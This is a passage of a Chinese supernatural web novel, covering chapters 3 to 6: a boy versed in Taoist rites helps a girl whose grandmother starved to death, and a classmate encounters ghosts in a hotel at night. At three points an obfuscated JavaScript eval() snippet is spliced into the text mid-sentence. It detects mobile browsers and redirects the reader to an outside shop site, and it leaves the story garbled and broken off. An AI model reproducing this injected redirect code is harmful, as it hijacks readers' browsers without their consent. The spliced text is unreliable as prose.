队伍解散后大家四散开来,成群结队的,转头就有人来找许航这个社交达人。 刚才的小姑娘还跟在崔砚身后,亦步亦趋,她身高堪堪到崔砚的腰,离得近的学生走动间没注意到有个人在,将小姑娘撞了个踉跄,手没抓稳,怀里的东西就掉了下来。 撞到她的人伸手过来扶了一下,一边说“抱歉”,一边弯腰去帮小姑娘捡东西,但随后就发出一声惊悚的叫声:“卧槽这是什么啊!” 大家被这突如其来的叫喊声吓了一跳,纷纷把中间的地方空开,见到撞人的学生指着地上,眼神就跟撞了鬼一样。 循声看过去,所有人俱是心中猛然一跳。 ——只见地上一张黑白老人像被陈旧的木框装裱着,周围香烛四散,零星发皱的纸钱也散落开来。 被香烛纸钱簇拥在中央的遗像上,老人头发花白,一双眼睛黑得让人心慌,就那么直勾勾地与人对视。 这一幕看得人无端头皮发麻,一瞬间惊悚的情绪直通天灵盖。 大家都忍不住后退几步,在四周静默的氛围中,肤色苍白的手拾捡起中央的遗像,用指腹拂去上边沾染的灰尘,随后翻转相框背朝众人,塞进眼眶泛红的小姑娘怀里。 “拿好。”崔砚道。 3. 首发文学城3 遗像被小姑娘收起来,她小心翼翼地用自己的衣服包好,仿佛怀抱着什么绝世珍宝一般,遗像贴着心口,她小小地吸了吸鼻子,像是在阻止快要掉落的眼泪。 那样深邃漆黑的一双眼睛消失后,悚然感也慢慢褪去,大家看着小姑娘低垂着的脑袋,后知后觉感到有些同情。 许航记起遗像上的人是谁:“照片上的人是前不久去世的刘婆婆……她是刘婆婆的孙女。” 住在这附近的学生面面相觑,纷纷倒吸一口气。 有人小声说:“捡垃圾的那个刘婆婆?我听我家里人说,刘婆婆是饿死的……” 刘婆婆的事情在这附近住的人家基本都有所耳闻,她丈夫很早就去世了,在他们的观念里丈夫无后是大事,便自己收养了一个儿子,跟随丈夫姓,就这么靠捡垃圾把人养大。 她儿子一年到头很少回家,有一年突然带回来个女儿,把孩子扔给刘婆婆后就又消失了,婆孙这么些年相依为命,日子过得也很苦。 前两年刘婆婆的儿子不知道为什么,突然回锦川找上门,良心发现开始孝敬母亲,大家就当笑话看,果然他没过多久又原型毕露。 之后大家再听到刘婆婆的消息,就是被人发现她死在了家里,甚至还是饿死的。 想来,这小姑娘就是刘婆婆的孙女王小麦了,而刚才那个王先生,就是刘婆婆收养的那个儿子。 人家的奶奶刚去世,撞人的学生脸上表情懊恼到要死,连忙伸手去把地上的香烛和纸钱给捡了起来,他胆子有些小,一想到刚才遗像上的眼睛,连带擦去浮灰的动作都有些发抖,但还是仔细弄干净了再递还给小姑娘。 “对不起对不起!” 王小麦没有说话,只是伸手擦了擦眼睛,去接那些香烛纸钱。 “这些东西用处不大。”崔砚却突然开了口。 他越过王小麦的手,把那些东西拿上,却随手丢在了一旁的香烛篓子里。 这些东西上都有灵妙观的标志,想必就是王小麦之前偷偷在观里拿的。施孤是道观的慈善行为,用的香烛纸钱品质很一般。 “想让你奶奶吃饱?”崔砚弯腰揉了揉王小麦的脑袋,对方的头发触感扎手,像杂草一般。 少年的眉眼弯弯,一双眼睛弯成漂亮的月牙形状,瞳孔漆黑莹亮,柔软得像是小孩最爱的棉花糖。 崔砚转身朝别的方向走,只丢下一句话:“跟我来。” 王小麦立刻跟了上去,她加快脚步走在崔砚身后,一只手稳稳抱住奶奶的相框,一只手试探性牵上少年洁白的衣角,见对方没有反对,便抿唇默默将手指攥紧。 同学们看着崔砚走远,那是抓心挠肝地好奇,但碍于大家连话都没跟崔砚说过,也不好意思跟上去凑热闹。 许航脸皮就厚多了,三两步从落后到并肩,一边从背包掏出奶糖面包往王小麦手里塞,一边问崔砚:“你这是要带她去干嘛?” 崔砚:“做点香烛元宝。” “啥?”许航有些懵了,问:“死人才用得上这些吧,你还会这个?” 他眼神诧异地将崔砚上下打量了一番,少年长相白净乖巧,看上去比他年龄还要小点,实在不像是会做死人用品的人。 许航搓搓手猜测:“你家是搞丧葬一条龙的?” 崔砚像是嘴角抽了抽,幽幽开口反驳:“不是。” 于是许航更好奇了,面对他的追问,崔砚想了想,略微歪头看着他:“……大概,算是久病成医。” 崔砚八字太轻,阴得路过的鬼都会忍不住凑上来闻闻,为保安全外婆经常会带他来灵妙观,他家这些年也算给观里捐了不少香火钱,跟大部分道士都很熟。 灵妙观供奉着主神斗姆元君和七星,香客众多,平常需要的香烛量很大,道士们有事没事就会做做香,纸钱元宝自然也能做,崔砚从小就展现出了变态一般的学习能力,久而久之也就看会了。 他偶尔兴致来了也会帮观里搓些香。 许航跟在崔砚身后,看他一路弯弯绕绕,明显是对这里的路很熟悉的样子,偶尔碰上几个道士匆匆忙忙,也会跟崔砚点头打招呼,更加深了许航的猜测。 崔砚肯定跟灵妙观的人早就认识了,瞧瞧,人家对里边路线熟悉得就跟回家似的。 今天施孤,灵妙观需要的香烛纸钱量就更大了,崔砚把两人带到一处不知名的小屋子里,里边有个道士正在折元宝做纸钱,一旁放满了一早就准备好的香烛,三人还没进门就率先闻到了一阵草木香。 许航不太懂行,于是问崔砚:“这是什么味道,檀香吗?” “不是。”崔砚摇头:“檀香多用于佛教,观里反而不常见,道教供奉用香多为崖柏、降真、沉香。” 香的品种太多,这三种只是供奉时最常用的,此外还有九和、反生、白茅、青木、詹唐……等等。所谓香达无极,灵通三界,道门对于用香的条件很讲究,只用天然草木材料制作,不同的香甚至还有不同的适用场合。 但崔砚要做的东西就没那么讲究了,供奉的香烛用不上,他进门先跟里边的道士打招呼:“冯师兄。” 冯道长抬头见到是他就笑:“小崔来了,今天师父忙着施孤,一时半会儿空不出时间来,你要找他的话不如在道观里住一晚。” “我今天来这儿不是找李道长的,”崔砚朝身侧看一眼,示意对方看看许航,道:“夏令营活动。” “原来是这个。”冯道长点点头。 “师兄先忙,不用管我,我拿纸折点东西。”崔砚径直找了块地方坐下,许航见王小麦跑过去,也蹑手蹑脚跟上。 坐下后许航见崔砚已经拿上黄纸开始折叠,手上的动作漂亮流畅,速度也很快,一看就是老手了。 许航没忍住小声八卦:“你叫他师兄,难道你也是道士?” 很快一条活灵活现的折纸鱼就出现在了崔砚的手中,他随手又抽出新的纸,头也不抬:“以前在灵妙观住过一段时间,就跟着叫大家师兄了。” 他没有拜师,也不是道士,只是那时跟所有人同吃同住,为了修身养性崔砚还研学道经画符搓香,混熟了之后,叫道长又太生分,于是自然就叫起了师兄。 冯道长听到他们在说话,他也是个外向的性格,于是大大方方加入聊天,谈起以前的事来,说话间也忍不住脸上带笑。 “小崔的天赋实在有点逆天,无论什么都是一看就会,完全不需要第二遍演示,就能直接上手。” 毕竟面前的许航和王小麦都还是孩子,说多了就有宣扬封建迷信,荼毒祖国未来小花朵的嫌疑,冯道长也没有往细了说,只是非常遗憾地表达:“当年小崔七岁,师父想要收他为徒被拒绝了,后来一直捶胸顿足,遗憾难过了整整三个月。” 灵妙观在外名气这么大,最主要的还是因为有个李不卓道长在,但人的精力和寿命都是有限的,李道长的徒弟大都天赋平平,唯有忘凡百里挑一,但跟崔砚两相比较还是逊色不少。 当初没能收下崔砚这个徒弟,直到现在,李道长看到崔砚的时候,眼睛里都是止不住的惋惜。 他们在一边谈论自己,崔砚也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔砚收拾东西的手一顿,回头第一次正面迎上许航,表情古怪:“你闻得到?” “我不该闻到吗?”许航傻傻地道。 面对着少年俊俏小脸上的严肃表情,许航的脸也渐渐僵了,迟疑开口:“……那谁应该闻得到?” 崔砚面无表情吐出两个字:“死人。” 许航:“!!!” 但下一刻崔砚嘴角勾了勾:“骗你的。” 这一通恶作剧加上大喘气,差点没给许航吓死,他刚才后背上冷汗都冒出来了! “我胆子小,你可千万别吓我!”许航双手合十求求崔砚。 他算是看明白了,眼前的少年虽然一张脸看上去乖巧极了,任谁都会新生好感,但实际上骨子里恶劣得很,他刚才差点被吓死! 许航一边搓搓手上被吓出来的鸡皮疙瘩,一边问:“可这不是纸扎的吗?为什么会这么香……简直太真了。” “嗯,因为我刚才喷了香水。” 许航:“……”能不能别把我当傻子! 崔砚不知道什么时候走到了一旁,这会儿又过来,两指并拢挨个点上纸扎,他每点一下,许航的眼神就变化一分。 最后成功得到许航的一声尖叫:“崔砚,为什么纸扎又没味道了!” 崔砚轻飘飘吹了吹指腹,抹干净上边残留的香灰。 他笑得像个巧克力流心馅儿的雪媚娘:“我也不知道啊,刚才有味道吗?” 4. 首发文学城4 许航怀疑崔砚把他当傻子,但他没有证据。 况且崔砚刚才的回答明显就是在糊弄他,什么香水许航根本就没见他拿出来过,但要说崔砚做了什么…… 他也仅仅是指尖在上边一一点过,每触碰过一个纸扎,上边的香气便像是被扼住了源头一般,与其说是突然消失,不如说封印住了更贴切一些。 这一猜测让许航的世界观开始动荡。 “眼见也不一定为实对吧……”许航喃喃着想要说服自己。 但转头面对小屋里堆积如山的香烛纸钱,又觉得自己在道观里非要相信科学,也简直是脑子有坑。 于是许航捧着自己岌岌可危的世界观,见崔砚收拾好东西就牵着王小麦往外走,又期期艾艾跟上去。 走在他前方的少年背影欣长,因为刚才玄学的一幕而染上了三分神秘的色彩。 许航伸手搓搓脸,妄图把自己脑子里的水甩出去,“高人啊……” 崔砚其实性格挺好的,人也很好相处,所以一开始就跟他们保持距离,表现得跟个透明人一样,果然是因为高人的怪癖吗? 许航自认为察觉到了真相,他自动忽视了那边的王小麦,本着作为目前唯一的知情人,他发誓一定会好好保守崔砚的秘密! 想通之后,许航的心里甚至还有些小激动,他颠颠地跑两步跟在崔砚身后,眼神鬼鬼祟祟地朝四周观察了半晌,然后凑到崔砚身侧压低声音,神神秘秘地说:“你放心,我一定不会告诉别人的。” 崔砚侧目看着他,礼貌性地保持微笑:“呃……谢谢?” 许航激动:“不客气!” 说完他又有些感叹地看着崔砚的侧脸。 少年身形高挑,颜值更是没话说,乖巧白净,一看就是他爸妈爷奶会喜欢的长相,不知道的一眼看过去还以为他会走艺术生路子。 这样的条件,还要时时隐藏自己,简直是暴殄天物。 但下一秒许航又表示理解,高手嘛,大隐于市! 他之前还奇怪来着,明明第一次见面的时候自己就见过崔砚的样子,他平常记性特别好,即使后边被其他事情绊住,一时间没想起来,也不至于一直都将崔砚给抛诸脑后。 毕竟按照许航的脾性,事后情况再怎么着,都会凑上去跟崔砚认识认识的。 但问题就在于他当时真就完完全全把崔砚给忽略了,甚至偶尔听到他名字或者见到人,都记不太住他的模样,直到今天近距离接触。 不得不承认,崔砚这样的人,一旦近距离接触过,如果没有特殊外部原因,真的很容易就会让人记住很久。 因为这会儿三班的人全都在自由活动,所以两人短暂小时了一会儿大家也没发现。 自认肩负着要保护崔砚身上秘密的责任,许航一见到三班的学生就立刻整理好了自己的表情,看上去像没事人一样凑过去,跟同学们打打闹闹。 崔砚并不知道许航正在心里疯狂给他自己加戏,他手里提着灵妙观出的文创袋子,里边装着刚才做的东西。 少年蹲下跟王小麦视线齐平,问:“有住的地方吗?” 小姑娘点点头,朝南指了个方向:“我家在锦川市图南区八角街道三号街中心花园第三栋二单元504。” 说着,王小麦翻开自己的衣摆,在里边掏了掏。 她身上只穿了一件单衣,内层被缝了个隐秘的布袋子,王小麦珍之重之从口袋里边拿出来一把钥匙。 “这是我家的钥匙……”小姑娘圆润的眼睛看向面前的哥哥,小心询问:“你想要去我家做客吗?” 崔砚唇角笑容柔和,看得眼前小孩儿仿佛坠入了绵软的云端。 崔砚:“下次去。” “图南在郊区,你家附近应该绿化比较密集,离这里也有点远,不方便给你奶奶烧东西。” 崔砚示意王小麦看自己手里的袋子,说:“今晚上我找个地方让你住下,等十二点再把这些烧给你奶奶,好吗?” 王小麦从有记忆起就跟奶奶相依为命,她没有见过妈妈,爸爸也只匆匆见过两次,王先生也从来没有管过她。 虽然现在不是孤儿,但却胜似孤儿,王小麦爸爸不在乎她晚上回没回家。 面对崔砚温和的询问,王小麦感受到了久违的关心,这是奶奶死后,她第一次得到的善意,于是抿唇忍下眼眶中的热意,点头:“好。” 王小麦没什么朋友,平常也很少跟人正常地交往,说完后知后觉紧张自己的语气好像有些硬,于是表情有些慌乱。 “谢、谢谢哥哥!”她又急忙补道。 崔砚仿佛没有看见她的窘迫,顺手在对方脑袋上呼呼毛:“不客气。” 两人达成一致后,崔砚就拿出手机定酒店。 夏令营这两天的活动都选在了灵妙观附近,有不少学生住的很远,所以周老师统计过学生意愿,给部分同学订了酒店,晚上会统一集合入住。 崔砚家里一直很想让他多跟同龄人交流,晚上也报了名住酒店,地方就在灵妙观附近,离得不远,他也就给王小麦也选在同一个地方。 等崔砚这边付完款,就听到一阵熟悉的吵嚷声,抬眼瞥见了王小麦的爸爸。 王先生有事想要请李道长出手,因为着急外加一些不可言说的原因,他想要今天就直接解决。 却没想到等了大半天之后,好不容易见到李道长,却得到了对方的拒绝。 好言商讨后还是没得到想要的结果,王先生压抑许久的脾气就瞬间上涌,争辩的音量一时间甚至盖过了鼎沸的香客交谈声。 “价钱不是问题,我相信这件事对李道长来说只是举手之劳,只需要您——” 王先生话还没说完,便得到了李道长的进一步拒绝:“王先生还是另请高明吧。” 对方轻描淡写的拒绝,更加令王先生破防:“您本事这么大,为什么不能帮个忙?” 他以为是自己诚意不够,于是加码:“只要道长帮我解决家里的那个东西,我能给出这个数!” 李道长轻飘飘撇了一眼王先生伸出的五根手指头,眼中含着悲悯的情绪,叹息着摇头:“这个忙老道帮不了。” 他油盐不进,王先生也发现对方态度无法软化了,他实在无法理解:“为什么?” 李道长没说话,但冯道长站了出来,刚才在小屋子里乐呵呵跟崔砚他们说话的年轻道士,此刻脸上表情实在算不上友好。 “还能是为什么?”冯道长把手里的一叠黄纸拍在桌上,气到差点翻白眼。 他嘴皮子一翻就蹦出讥讽的字来,“为子弑母,有违天道伦常!” 弑母二字一出来,就见王先生的表情瞬间变沉,像是被戳到痛处一般。 他扬声似乎想要让在场的所有香客都听清:“她是自己死在家里的,凭什么说我弑母?” 跟灵妙观谈崩,王先生也算是撕破脸了,他指着冯道长:“你要是再敢造谣,我就报警了!” 跟这种人多说一个字都掉价,冯道长摇摇头,索性走进大殿不再管他。 香客们原本也没关注他,这会儿听到吵闹声终于看过来,一场好戏过后,大家才明白过来闹事的是谁。 人群中有人愤愤:“没有亲自动手就不算杀人了吗?你拿得出钱来请李道长,没钱给你的老母亲买米?!” “简直畜生不如!” 也不知道是谁,趁乱朝王先生的方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187246|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吐了口唾沫。 那口唾沫黏在他锃亮的皮鞋上,引得人群一阵哄笑声。 “恶心”“活该”等字眼涌入王先生的耳朵,他脸涨得通红,很快就如芒刺背地离开了。 他走前还听到李道长好心的劝告。 “王先生既然手有余钱,不妨多买点香烛纸钱,置办宴席,以慰藉你那饿死的母亲。” “毕竟——”李道长语气幽幽:“钱财易取,阴德难攒。” 这番话说得王先生脸色更是难看,黑着一张脸就逃离了现场,明显不愿再多听一个字。 在场的人也没有过多在意,李道长开口三两句把大家引导回施孤上,得空后注意到崔砚两人。 “明镜说你在做纸扎,是给她奶奶做的?”李道长慈祥地看着王小麦。 崔砚嗯了一声。 李道长今年五十八岁,头上黑发浓密,看上去比真实年岁年轻许多,但眼神已经是历尽千帆,处处都透露着慈祥,王小麦挺喜欢他的。 “也好。”李道长捋了捋自己特意蓄的胡子,“有你帮他们,也算是能善终了。” 崔砚并不热衷于道术,不然当初也不会拒绝李道长收徒,他之所以学这个,只是因为“久病成医”这四个字。 就像是一个常年带病的病人,会了解许多医治或者预防疾病的知识。 只是他天赋太逆天,即使并没有用心去学,效果也比旁人多年修行还要卓越。 李道长很放心崔砚,他只问了两句,也没有再关注王小麦了。 跟崔砚这样的少年人不同,十来岁的孩子在爱里长大,自然会对旁人产生同理心。 而李道长这么多年,见过太多的生离死别,世间万物各有其终,在不涉及因果的前提下,他一般不会插手其中。 这人啊,在李道长眼里,跟院里养在缸中的那尾鱼没有任何区别。 那边学生们聚在一起叽叽喳喳,少年人的朝气也给灵妙观带来了不少生气,李道长看得笑盈盈。 见学生们对道经感兴趣,于是走过去颇有兴致地讲起来。 王小麦的肚子悄悄打了几次鼓,许航给的零食不足以饱腹,这会儿灵妙观里也过了饭点,崔砚便带着王小麦进了供奉斗姆元君的地方。 硕大的金身就坐落在大殿中央,元君的目光慈祥而悲悯地落下,木质的烟灰香气弥漫开来,令人闻着便感觉心胸开阔。 元君案桌上供奉的食物水果每天两换,这会儿正好换下来第一批,崔砚跟冯道长打了个招呼,拉着王小麦过去。 他对斗姆元君的金身一揖,念道:“百无禁忌。” 随后将已经供奉过的水果拿了几个,塞到王小麦手上,说:“先垫一垫,等会儿带你去吃饭。” 王小麦的奶奶也信神,她不知道有哪些忌讳,仰头有些犹豫:“这些不是贡品吗?” 崔砚:“神明慈悲,不会怪罪你的。” 恰好有一束夕阳略过殿前,从金身上一晃而过,斗姆元君的眼神像是亮了一瞬,仿佛在回应崔砚的话。 于是王小麦才扬起笑脸,迫不及待地吃下手里的水果。 在她吃东西的功夫,崔砚找了个地方坐下,他今天的观后感一个字都还没动。 神明座下,崔砚拿出自己随身携带的笔记本,又从领口处抽下别好的笔,翻开封皮后却眼神一顿。 ——他空白的封面,什么时候有了字? 不确定是不是自己走神一晃而过看错了,崔砚又将笔记本合上,入目便是三个字。 ‘生’! ‘死’! …… 他一眼没能看清,眨眼间封皮空白一片,方才模糊的字迹像是从未出现过。 5. 首发文学城5 崔砚平时就是个五感敏锐的人,如果是一次可能是他看错,那么两次就一定不是意外。 到底是什么东西,一直在他面前忽隐忽现,倒像是在引导着他…… 但那字就只是瞬间出现之后便消失得无影无踪,任凭崔砚再将笔记本翻开几次,都只能看到一片空白。 他下意识蹙眉,思索时习惯性将笔在指尖绕着,差点转出残影来。 冯道长抱着一批香,走过来见他这样,乐道:“在想什么这么入神,把门口都给挡住了。” 崔砚回过神来,让开一步等冯道长出去,他没有开口询问对方是否也看到了异常,心中自有考量。 王小麦啃完两个苹果,肚子也没那么饿了,见崔砚没有再出神,于是小心戳戳他。 “哥哥,你们老师好像在让集合了。” 殿外的学生们已经陆陆续续聚集在一起,周老师看着时间等其他人过来,崔砚对王小麦道:“你也去。” 他走时顺手从一旁的桌案上拿了叠黄纸,碰见李道长时扬手晃了晃,让对方看见自己手里的东西。 “不用知会我,缺什么你都拿去用就是。”李道长微微一笑。 崔砚也没客气,他在灵妙观吃穿住这么些年,家里交的香火钱足够,拿点黄纸也没人会说什么。 他顺手又捞了盒朱砂。 王小麦好奇地看着崔砚的手,眼睛很亮,对方身上就好像有什么神奇口袋一般,一样样东西往不知名处一揣,等需要的时候再拿出来,谁也不知道口袋在哪里。 崔砚拂了拂自己宽大的衣摆,抬眼视线正巧撞见人群中的许航。 那小子身在曹营心在汉,完全没顾得上朋友在跟他说什么,一双眼睛像是黏在崔砚身上了一样。 他的异常很快就被朋友发现,对方说了半天口水都要说干了,但却没得到许航的任何回应,转头一看,不明所以。 问他:“你在看谁呢?” 又顺着许航的视线看过去,这会儿崔砚已经悄无声息带着王小麦站在队伍最后,他扫一眼只看到了殿内庄严的神像。 许航转头跟他打哈哈:“这不是开学要分班考试吗?我拜拜神祈祷能考好一点。” 他朋友笑话他:“你就站在这儿,也没见有拜的动作啊。” 许航伸手对他嘘了一声:“你不懂。” 不过他虽然是在说瞎话转移话题,但这会儿还真起了点拜拜的心思,于是转头冲殿内看不完全的斗姆元君双手合十,真诚祈祷:“……希望考试结束能跟崔砚分到一起。” 朋友见他嘴巴蠕动着,又听不清在说什么,怪他神神秘秘的,也不再出声询问。 等三班学生都集合完毕,周老师清点着人数,许航趁大家不注意的时候窜到队伍末端。 见他鬼鬼祟祟凑上来,崔砚投过去一个眼神。 许航兀自将崔砚上上下下打量了一遍,他可看见了,刚才崔砚拿了黄纸朱砂,歘一下就塞进衣服里消失了。 对方衣服宽松,就那么挂在衣架子似的身上,也看不出来什么,许航可太好奇他把东西藏哪儿了,有心想要上手,但最后还是没敢。 于是压低声音,像是地下接头一般小心问:“你把东西藏哪儿了?” 他合理发散思维,眼神亮亮的:“是不是乾坤袋里,又或者是什么空间戒指?” 许航一边说一边看向崔砚的手,遗憾地发现对方手上没有戴任何装饰品。 崔砚:“……” 崔砚由衷地劝告许航:“你首先要做的事,就是把手机里的番茄小说删了。” 面对他的建议,许航表示肃然起敬,一边掏出手机解锁,手指点在红色软件上悄悄问:“删了有什么深意吗?” 他现在是无脑对崔砚的一言一行发散解读。 崔砚有些惊叹地看着许航,怎么会有人不长脑子还能长这么大的? 锦中也算远近闻名的名校了,对方能被锦中预录取肯定智商没问题,但没想到脑回路这么清奇。 “没什么深意。”崔砚无奈。 感叹完后,崔砚摇着头对许航掀开自己的左边衣摆:“诺,自己看。” 许航满怀期待地看下去,一瞬间眼神就凝固了。 “……” 只见崔砚掀开的那片衣角里,被人用高超的技术缝了一个大内袋,用布颜色跟衣服颜色一样,线痕也不会透到外边来。 如果不是崔砚亲自掀开衣服给他看,任许航把脑子想爆炸,也不会猜到真相居然是这个! 难怪对方的衣服十分宽松,所以崔砚的衣服里到底缝了多少个袋子!这是崔砚这个年龄的人该干的事吗? 许航根本无法住脑,他奶就爱在衣服裤子里边缝暗袋! 给他看完之后,崔砚就把衣摆放下,顺势又拍了拍,确保东西都好好放着。 许航艰难地对崔砚笑了笑,并且赞叹:“呃……我觉得挺有创意的哈哈哈。” 崔砚朝他投过去一个赞赏的眼神:“有品。” 崔砚不爱背包,觉得十分累赘,但又喜欢带一些稀奇古怪的东西在身上,好在奶奶针线功夫很厉害,于是他就从外婆那边学来了这么个天才的办法。 这可是他求了奶奶很久,对方才答应给他缝的。 见他这么骄傲,许航觉得自己有点幻灭,他崩溃地想为什么崔砚会是这个画风? 他完全控住不住自己的视线往下边跑,犹豫地问:“你裤子里……没有吧?” “没有。”崔砚像看傻子一样:“裤子能放下什么东西?” 被眼神骂了许航也没在意,反而因为崔砚的回答松了口气。 在去酒店的路上,他深刻反思了一下自己,以后绝对不会轻易再探崔砚的底! 对方还是继续保持高人的神秘吧…… 不过他又跟想起来似的问:“那我的番茄还要删掉吗?” 崔砚:“……” 他发自内心:“删了吧。” 再看下去,脑子就真给看坏了。 很快大家就跟周老师到达目的地,酒店都是提前预定好的,留下的人数刚好为双,就两两住在一起。 房间号下发后,许航央求了半天,总算跟崔砚分在了同一间房。 崔砚找前台给王小麦换了自己隔壁的房间,拿到房卡后蹲下问她:“一个人住可以吗?” 王小麦点点头:“可以的,我不害怕。” 小孩儿脸上是跟同龄人完全不同的乖巧,他便顺手又揉了揉王小麦的头:“很勇敢。” “等会儿哥哥带你去吃完饭,吃完玩会儿就先乖乖睡觉,时间到了我会敲门叫你。” 王小麦很乖:“好,谢谢哥哥。” 周老师晚上没拘着这群学生,只要报备一声并且按时回来签到,晚上都可以俩开酒店多玩一会儿。 崔砚带王小麦去吃饭,许航怎么会放过跟他独处的机会,万一能见世面呢?于是麻溜地黏了上去。 吃饭时想起白天的事情,崔砚问许航:“你生日是多久?” 许航嗦完一口粉,头也不抬:“唔……农历七月初十,咋啦?” 听到这个时间,崔砚指尖在桌子上敲了敲,“七月半祭祖你也去了吧。” “对啊。”许航挠挠头:“给我外公上头年的坟,一早去的,六点起床,上完坟回来还赶得上夏令营。” 往年许航家里都没让他去,今年他外公去世,从前祖孙感情很好,家里实在没有理由再阻止,这一次祭祖许航也就跟着去了。 不知道崔砚问这个干什么,许航直觉有问题,“你问这个是啥意思?” 崔砚心中有了答案,但这次没有吓他。 “没什么,就问问。” 崔砚看上去就是那种不会说谎的人,大概是那张脸太具有欺骗性,他这么说,许航就信了。 许航出生在七月半前后,本身八字就不重,要是平日里注意一点也不会有什么问题,但这次亲人去世,经历了大悲后影响了自身的阳气。 阳火进一步减弱,又去参与了祭祖,近距离接触坟地。 这也是白日他闻到纸扎气味的根本原因。 几人在外边逛了一阵子,回到酒店后,趁着许航在洗漱,崔砚拿出白天在灵妙观拿的黄纸,抽出一张来。 他身上那只笔是两头的,另一端拔开盖子,就是细密的兔毫毛笔。 笔尖沾上朱砂,崔砚信手下笔,红色的字迹蜿蜒隽秀,一点灵光伴随着收笔的动作乍现,随后又很快地消失于无痕。 一张符画毕,崔砚拿起来吹干上边的朱砂,折成三角后放在许航的枕头下,细心地压了压。 七月半前后鬼门都会保持开启的状态,有这张符在,倒也不用担心许航晚上会撞见脏东西。 不知道崔砚为自己操碎了心,许航洗漱完后就在另一张床上躺下,掏出手机就开始刷短视频。 原本他每天的睡前必备项目是看几章小说,但小说软件白天删掉了,就只能退而求其次刷起了视频。 崔砚刚躺下,就听到他那边传来人机解说音。 ‘我重生了,重生在被拜金未婚妻退婚的前一天,上一世我……’ 崔砚闭上眼睛,放下助人情节,尊重他人命运。 “哈欠——”没看几分钟,许航就困意上涌,忍不住揉了揉眼睛。 他一向喜欢熬大夜,晚上不到两点基本上是没啥睡意的,但今晚上却罕见早早就犯困了。 看一眼手机上的时间,才晚上九点半。 许航有点诧异,但是眼皮越来越重,很快就睡死了过去,没一会儿手机就自动锁屏了。 听见耳边环绕的魔性机械音消失,崔砚微微松了口气。 白天喝了太多的水和饮料,许航在睡梦中硬生生被尿意憋醒,他半梦半醒间摸索着要起来上厕所。 但手在床边摸了半天也没找到灯的开关,最后只能迷迷糊糊地用手机锁屏照亮,一点点往门外挪过去。 开门后按照记忆里的路线走出去。 “奇怪……”半天没找到厕所,许航有点迷糊了:“我家厕所有这么远吗?” 直到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一万句惊恐的卧槽不敢说出口,许航目之所及看不到任何人,寂静的酒店长廊上只有他孤身一个。 他手中的手机灯光晃动,照到前方一块泥泞的地——酒店的地板,不是铺了地毯吗? 这个疑问升起来的那一瞬间,许航还没来得及反应时,他耳后突然传来一缕刺骨的风。 冷风贴近耳畔,夹杂着一道幽幽的女声。 许航眼前一黑,仿佛有白光闪过,从前的许多欢乐画面开始闪现,父母爷奶的脸也在他脑海中一一闪过,最后走马灯停留在一张白净漂亮的脸上—— “呼呼——!”这一张脸让许航瞬间回神,他窒息后猛然吸入空气,涨得喉咙和双肺生疼,但却丝毫不敢发出声音。 此刻那道女声变得有些尖利起来。 她又问:“请问……普度街怎么走?” 感受到对方语气中的不耐烦,许航尽管胆子已经爆炸,但却不敢不吭声,只能颤颤巍巍闭上眼睛,伸手胡乱朝一个方向指了指。 “那那那……那边左拐直走右拐直走左拐……就就就就是了……呜呜呜……” 在他说完后,空气中没有声音再响起,半晌之后对方才继续道:“……谢谢。” 一瞬间凉风从身侧刮过,挤压着许航的空气松快了许多,他强撑着胆子睁开眼睛。 身前空空荡荡,没有任何人离开的影子,身后……许航不敢向后看。 不能回头,但也不能待在原地,许航握着手机,小声地念着崔砚的名字,企图对方能听到自己的蚊呐,一边挪动自己沉重的脚步,心中无声尖叫。 ‘神啊,谁能来救救他啊啊啊啊啊——!’ 许航前行的路上,身侧时不时就有阴风吹过,彻骨的温度一阵一阵波动,他一声不敢吭。 感觉时间过去了一个世纪那么长,灯光照到的地方露出地毯一角。 有救了!许航差点哭出声来。 但他还没来得及高兴,身后忽然传来一阵浓浓的酒味,又香又臭,还混杂着一股泥土气—— 许航张了张嘴,又开始无声尖叫起来。 随后熟悉的问询声传来,这次是一个中年男子的沙哑声。 “你知道……黄泉路怎么走吗?” 有了之前的经验,许航这次冷静地很快,他闭眼哆哆嗦嗦开口:“那那那……那边左拐直走右拐直走左拐……就就就就是了……” 又是一会儿,对方没有开口,许航极度紧张地等待着,身旁阵阵阴风过后,四周再次归于平静。 他终于长舒了一口气,提起脚步就朝面前的地毯走去—— 然而一只手搭在了他肩上。 腥臭的酒气伴随阴寒的温度袭来。 许航听见沙哑破碎的男人声音再次响起—— “……你指错路了。” “跟我一起去吧……” 去哪儿?黄泉路吗?! 6. 首发文学城6 明明已经距离地毯只有一步之遥,许航只需要迈出一步就能走出这该死的地方。 但他肩上的手却仿佛有千斤重,将许航牢牢地困在原地,脚下更是四处充满阻力,即使他想要离开,也挪动不了丝毫。 许航此刻脑袋一片空白,甚至连恐惧都来不及,全身的感官急速失调,只剩下肩头刺骨的冷意不断地往他的骨髓中钻去。 “咯咯咯……” 不知道是害怕还是寒冷,许航的牙齿上下磕碰,不断发出战栗的咯吱声,在寂静的空气中格外明显。 这样的温度和几乎要抓碎他肩膀的力度,怎么可能是人会拥有的?! 许航后背不知不觉地冷汗涔涔,黄泉两个字不断回荡在他脑袋里,许航只觉得自己今天怕是真的要交代在这里了。 